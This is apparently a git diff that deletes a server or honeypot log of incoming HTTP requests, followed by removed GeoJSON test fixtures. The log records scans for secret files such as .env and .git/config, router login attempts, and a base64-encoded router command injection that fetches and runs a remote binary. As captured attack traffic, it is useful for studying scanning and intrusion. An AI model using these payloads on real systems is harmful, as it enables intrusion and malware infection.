"Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "POST", "Path": "/.env.save", "Http_Version": "HTTP/1.1", "POST_Payload": "MHglNUIlNUQ9YW5kcm94Z2gwc3Q="} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/frontend_dev.php/$", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/debug/default/view?panel=config", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/.json", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/config.json", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/phpinfo.php", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/?phpinfo=1", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/_profiler/phpinfo", "Http_Version": "HTTP/1.1"} -{"ip": "154.26.155.155", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0", "Method": "GET", "Path": "/info.php", "Http_Version": "HTTP/1.1"} -{"ip": "128.201.218.75", "Content_Length": "0", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "79.110.62.146", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-GB,en;q=0.5", "Connection": "close", "Host": "116.202.22.148:80", "Upgrade_Insecure_Requests": "1", "User_Agent": "Linux Gnu (cow)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "84.54.51.190", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "193.35.18.33", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "103.187.190.30", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "103.187.190.30", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "103.187.190.30", "Connection": "close", "Content_Length": "441", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)", "Method": "POST", "Path": "/sdk", "Http_Version": "HTTP/1.1", "POST_Payload": "PHNvYXA6RW52ZWxvcGUgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6eHNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgeG1sbnM6c29hcD0iaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvc29hcC9lbnZlbG9wZS8iPjxzb2FwOkhlYWRlcj48b3BlcmF0aW9uSUQ+MDAwMDAwMDEtMDAwMDAwMDE8L29wZXJhdGlvbklEPjwvc29hcDpIZWFkZXI+PHNvYXA6Qm9keT48UmV0cmlldmVTZXJ2aWNlQ29udGVudCB4bWxucz0idXJuOmludGVybmFsdmltMjUiPjxfdGhpcyB4c2k6dHlwZT0iTWFuYWdlZE9iamVjdFJlZmVyZW5jZSIgdHlwZT0iU2VydmljZUluc3RhbmNlIj5TZXJ2aWNlSW5zdGFuY2U8L190aGlzPjwvUmV0cmlldmVTZXJ2aWNlQ29udGVudD48L3NvYXA6Qm9keT48L3NvYXA6RW52ZWxvcGU+"} -{"ip": "103.187.190.30", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)", "Method": "GET", "Path": "/nmaplowercheck1698226557", "Http_Version": "HTTP/1.1"} -{"ip": "103.187.190.30", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)", "Method": "GET", "Path": "/evox/about", "Http_Version": "HTTP/1.1"} -{"ip": "103.187.190.30", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)", "Method": "GET", "Path": "/HNAP1", "Http_Version": "HTTP/1.1"} -{"ip": "103.187.190.30", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "103.187.190.30", "Host": "116.202.22.148", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "170.64.192.55", "Accept": "*/*", "Connection": "close", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "45.93.93.20", "Accept": "*/*", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "66.240.236.116", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "3.84.188.63", "Accept_Charset": "utf-8", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4853.129 Safari/537.36", "Method": "GET", "Path": "/wp-config.php-backup", "Http_Version": "HTTP/1.1"} -{"ip": "192.241.198.23", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/manager/text/list", "Http_Version": "HTTP/1.1"} -{"ip": "31.220.3.140", "Host": "116.202.22.148:8080", "User_Agent": "Hello World", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "67.217.57.54", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-GB,en;q=0.5", "Connection": "close", "Host": "116.202.22.148:80", "Upgrade_Insecure_Requests": "1", "User_Agent": "Linux Gnu (cow)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "109.237.98.226", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36", "Method": "GET", "Path": "/.env", "Http_Version": "HTTP/1.1"} -{"ip": "109.237.98.226", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36", "Method": "GET", "Path": "/.env", "Http_Version": "HTTP/1.1"} -{"ip": "159.223.98.198", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "31.220.3.140", "Host": "116.202.22.148:8080", "User_Agent": "Hello World", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "193.35.18.187", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.183", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "18.119.179.222", "Accept_Charset": "utf-8", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Linux; Android 8.0.0; HWI-AL00) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Mobile Safari/537.36", "Method": "GET", "Path": "/.git/config", "Http_Version": "HTTP/1.1"} -{"ip": "72.69.14.22", "Cookie": "user=admin", "Method": "POST", "Path": "/goform/set_LimitClient_cfg", "Http_Version": "HTTP/1.1", "POST_Payload": "dGltZTE9MDA6MDAtMDA6MDAmdGltZTI9MDA6MDAtMDA6MDAmbWFjPTt3Z2V0IGh0dHA6Ly8xMDMuNjcuMTk3LjIzMy9tcHNsOyBjaG1vZCA3NzcgbXBzbDsgLi9tcHNsIGxibGluay5zZWxmcmVwOw0KDQo="} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "165.22.197.101", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-US,en;q=0.9", "Cache_Control": "no-cache", "Host": "cdn.irserv.sbs", "Pragma": "no-cache", "User_Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "159.65.120.34", "Accept": "*/*", "Accept_Charset": "UTF-8", "Accept_Encoding": "UTF-8", "Accept_Language": "*", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "165.154.164.79", "Accept_Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Host": "116.202.22.148:8080", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "165.154.164.79", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "165.154.164.79", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Method": "GET", "Path": "/robots.txt", "Http_Version": "HTTP/1.1"} -{"ip": "165.154.164.79", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Method": "GET", "Path": "/sitemap.xml", "Http_Version": "HTTP/1.1"} -{"ip": "165.154.164.79", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Authorization": "NTLM TlRMTVNTUAABAAAAB4IIoAAAAAAAAAAAAAAAAAAAAAA=", "Connection": "keep-alive", "Host": "116.202.22.148:8080", "User_Agent": "python-requests/2.27.1", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "93.117.9.45", "Content_Length": "0", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "118.193.59.41", "Accept_Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Host": "116.202.22.148", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "118.193.59.41", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "118.193.59.41", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Method": "GET", "Path": "/robots.txt", "Http_Version": "HTTP/1.1"} -{"ip": "118.193.59.41", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", "Method": "GET", "Path": "/sitemap.xml", "Http_Version": "HTTP/1.1"} -{"ip": "118.193.59.41", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Authorization": "NTLM TlRMTVNTUAABAAAAB4IIoAAAAAAAAAAAAAAAAAAAAAA=", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "python-requests/2.27.1", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.125", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "185.36.81.33", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en US,en;q=0.9,sv;q=0.8", "Connection": "keep-alive", "Content_Type": "application/x-www-form-urlencoded; charset=UTF-8", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46", "X_Requested_With": "XMLHttpRequest", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "141.98.11.52", "Host": "116.202.22.148:80", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "138.128.242.188", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36", "Method": "GET", "Path": "/.git/config", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.183", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "141.98.11.60", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en US,en;q=0.9,sv;q=0.8", "Connection": "keep-alive", "Content_Type": "application/x-www-form-urlencoded; charset=UTF-8", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46", "X_Requested_With": "XMLHttpRequest", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "104.199.31.214", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Connection": "keep-alive", "Host": "116.202.22.148", "User_Agent": "python-requests/2.31.0", "x-datadog-trace-id": "8792375150250542417", "x-datadog-parent-id": "9794435534777718685", "x-datadog-sampling-priority": "0", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.140", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "167.248.133.52", "Host": "116.202.22.148:80", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "167.248.133.52", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "167.248.133.52", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "45.128.232.125", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "193.35.18.33", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "83.49.102.197", "Content_Length": "0", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "106.119.167.146", "Accept": "*/*", "Accept_Encoding": "gzip", "Accept_Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "79.110.48.125", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-GB,en;q=0.5", "Connection": "keep-alive", "Content_Length": "29", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148:80", "Origin": "http://116.202.22.148:80", "Referer": "http://116.202.22.148:80/admin/login.asp", "Upgrade_Insecure_Requests": "1", "User_Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0", "Method": "POST", "Path": "/boaform/admin/formLogin", "Http_Version": "HTTP/1.1", "POST_Payload": "dXNlcm5hbWU9YWRtaW4mcHNkPUZlZWZpZm9mdW0NCg0K"} -{"ip": "195.116.52.177", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "118.126.124.10", "Accept": "*/*", "Accept_Encoding": "gzip, deflate", "Host": "116.202.22.148", "User_Agent": "Python/3.6 aiohttp/3.8.3", "X-Test-Token": "f1b600cef73c4757dc04c2f9349609b5", "Method": "HEAD", "Path": "/.env", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.137", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.137", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/showLogin.cc", "Http_Version": "HTTP/1.1"} -{"ip": "193.42.33.148", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept_Encoding": "gzip, deflate", "Accept_Language": "en-GB,en;q=0.5", "Connection": "keep-alive", "Content_Length": "29", "Content_Type": "application/x-www-form-urlencoded", "Host": "116.202.22.148:80", "Origin": "http://116.202.22.148:80", "Referer": "http://116.202.22.148:80/admin/login.asp", "Upgrade_Insecure_Requests": "1", "User_Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0", "Method": "POST", "Path": "/boaform/admin/formLogin", "Http_Version": "HTTP/1.1", "POST_Payload": "dXNlcm5hbWU9YWRtaW4mcHNkPUZlZWZpZm9mdW0NCg0K"} -{"ip": "31.220.3.140", "Host": "116.202.22.148:8080", "User_Agent": "Hello World", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "167.248.133.186", "Host": "116.202.22.148:80", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "167.248.133.186", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "apps.bekagvazava.com", "User_Agent": "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "167.248.133.186", "Accept_Encoding": "gzip", "Connection": "close", "Host": "apps.bekagvazava.com", "User_Agent": "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)", "Method": "GET", "Path": "/favicon.ico", "Http_Version": "HTTP/1.1"} -{"ip": "114.96.103.33", "Accept": "*/*", "Accept_Encoding": "gzip", "Accept_Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.180.143.49", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "69.164.217.74", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "45.79.181.104", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "185.224.128.184", "Host": "xvideos.com", "Method": "GET", "Path": "/?q=ultrasurf", "Http_Version": "HTTP/1.1"} -{"ip": "78.108.177.51", "Accept": "*/*", "User_Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; Trident/5.0)", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.0"} -{"ip": "45.128.232.183", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "159.100.22.178", "Accept_Charset": "utf-8", "Accept_Encoding": "gzip", "Connection": "close", "Host": "116.202.22.148", "User_Agent": "Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.30-7.dmz.1-liquorix-686; X11) KHTML/3.5.10 (like Gecko) (Debian package 4:3.5.10.dfsg.1-1 b1)", "Method": "GET", "Path": "/docker-compose.yml", "Http_Version": "HTTP/1.1"} -{"ip": "223.19.103.72", "Cookie": "user=admin", "Method": "POST", "Path": "/goform/set_LimitClient_cfg", "Http_Version": "HTTP/1.1", "POST_Payload": "dGltZTE9MDA6MDAtMDA6MDAmdGltZTI9MDA6MDAtMDA6MDAmbWFjPTt3Z2V0IGh0dHA6Ly8xMDMuNjcuMTk3LjIzMy9tcHNsOyBjaG1vZCA3NzcgbXBzbDsgLi9tcHNsIGxibGluay5zZWxmcmVwOw0KDQo="} -{"ip": "84.54.51.190", "Host": "google.com:443", "User_Agent": "Go-http-client/1.1", "Method": "CONNECT", "Path": "google.com:443", "Http_Version": "HTTP/1.1"} -{"ip": "139.144.168.186", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "Mozilla/5.0", "Method": "GET", "Path": "/cHy8", "Http_Version": "HTTP/1.1"} -{"ip": "139.144.168.186", "Connection": "close", "Host": "static.148.22.202.116.clients.your-server.de", "User_Agent": "Mozilla/5.0", "Method": "GET", "Path": "/BVXm", "Http_Version": "HTTP/1.1"} -{"ip": "185.91.127.166", "Host": "116.202.22.148:80", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "205.210.31.208", "Host": "116.202.22.148:80", "User_Agent": "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com", "Method": "GET", "Path": "/", "Http_Version": "HTTP/1.1"} -{"ip": "162.243.139.14", "Accept": "*/*", "Accept_Encoding": "gzip", "Host": "116.202.22.148:8080", "User_Agent": "Mozilla/5.0 zgrab/0.x", "Method": "GET", "Path": "/hudson", "Http_Version": "HTTP/1.1"} diff --git a/tests/testthat/geojson/coord-class-linestring-xyz.json b/tests/testthat/geojson/coord-class-linestring-xyz.json deleted file mode 100644 index 5f5cefb..0000000 --- a/tests/testthat/geojson/coord-class-linestring-xyz.json +++ /dev/null @@ -1 +0,0 @@ -{"type":"LineString","coordinates":[[0.0,0.0,0.0],[1.0,1.0,1.0]]} diff --git a/tests/testthat/geojson/coord-class-linestring-xyzm.json b/tests/testthat/geojson/coord-class-linestring-xyzm.json deleted file mode 100644 index ce0a554..0000000 --- a/tests/testthat/geojson/coord-class-linestring-xyzm.json +++ /dev/null @@ -1 +0,0 @@ -{"type":"LineString","coordinates":[[0.0,0.0,0.0,0.0],[1.0,2.0,3.0,4.0]]} diff --git a/tests/testthat/geojson/coord-class-multilinestring-xyz.json b/tests/testthat/geojson/coord-class-multilinestring-xyz.json deleted file mode 100644 index 912c6e2..0000000 --- a/tests/testthat/geojson/coord-class-multilinestring-xyz.json +++ /dev/null @@ -1 +0,0 @@ -{"type":"MultiLineString","coordinates":[[[0.0,0.0,0.0],[1.0,2.0,3.0]]]} diff --git a/tests/testthat/geojson/coord-class-multilinestring-xyzm.json b/tests/testthat/geojson/coord-class-multilinestring-xyzm.json deleted file mode 100644 index c9f7f72..0000000 --- a/tests/testthat/geojson/coord-class-multilinestring-xyzm.json +++ /dev/null @@ -1 +0,0 @@ -{"type":"MultiLineString","coordinates":[[[0.0,0.0,0.0,0.0],[1.0,2.0,3.0,4.0]]]} diff --git a/tests/testthat/geojson/coord-class-multipoint-xy.json b/tests/testthat/geojson/coord-class-multipoint-xy.json deleted file mode 100644 index 5c2b8f7..0000000 --- a/tests/testthat/geojson/coord-class-multipoint-xy.json +++ /dev/null @@ -1 +0,0 @@ 